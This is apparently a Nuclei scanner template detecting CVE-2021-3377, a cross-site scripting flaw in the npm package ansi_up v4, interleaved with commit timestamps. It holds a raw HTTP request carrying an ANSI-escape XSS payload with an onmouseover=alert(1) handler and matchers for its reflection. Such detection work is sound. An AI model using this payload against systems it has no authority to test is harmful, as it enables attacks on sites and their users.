2021-07-26 17:18:45 +00:00
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id: CVE-2021-3377
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info:
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2022-04-21 21:16:41 +00:00
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name: npm ansi_up v4 - Cross-Site Scripting
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2022-04-22 10:38:41 +00:00
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author: geeknik
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severity: medium
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2022-04-21 21:16:41 +00:00
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description: npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.
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2021-08-18 11:37:49 +00:00
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reference:
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2021-08-19 14:44:46 +00:00
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- https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
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- https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
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2022-04-21 21:16:41 +00:00
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- https://nvd.nist.gov/vuln/detail/CVE-2021-3377
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2021-09-10 11:26:40 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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2022-04-22 10:38:41 +00:00
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cvss-score: 6.1
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2021-09-10 11:26:40 +00:00
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cve-id: CVE-2021-3377
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cwe-id: CWE-79
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2022-04-22 10:38:41 +00:00
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remediation: Upgrade to v5.0.0 or later.
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2022-04-21 21:16:41 +00:00
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tags: cve,cve2021,xss,npm
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2021-07-26 17:18:45 +00:00
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requests:
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- raw:
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- |+
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GET /\u001B]8;;https://example.com"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
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Host: {{Hostname}}
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Connection: close
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unsafe: true
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "text/html"
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- type: word
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words:
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2022-04-21 21:16:41 +00:00
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- "com\"/onmouseover=\"alert(1)\">"
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# Enhanced by mp on 2022/04/21
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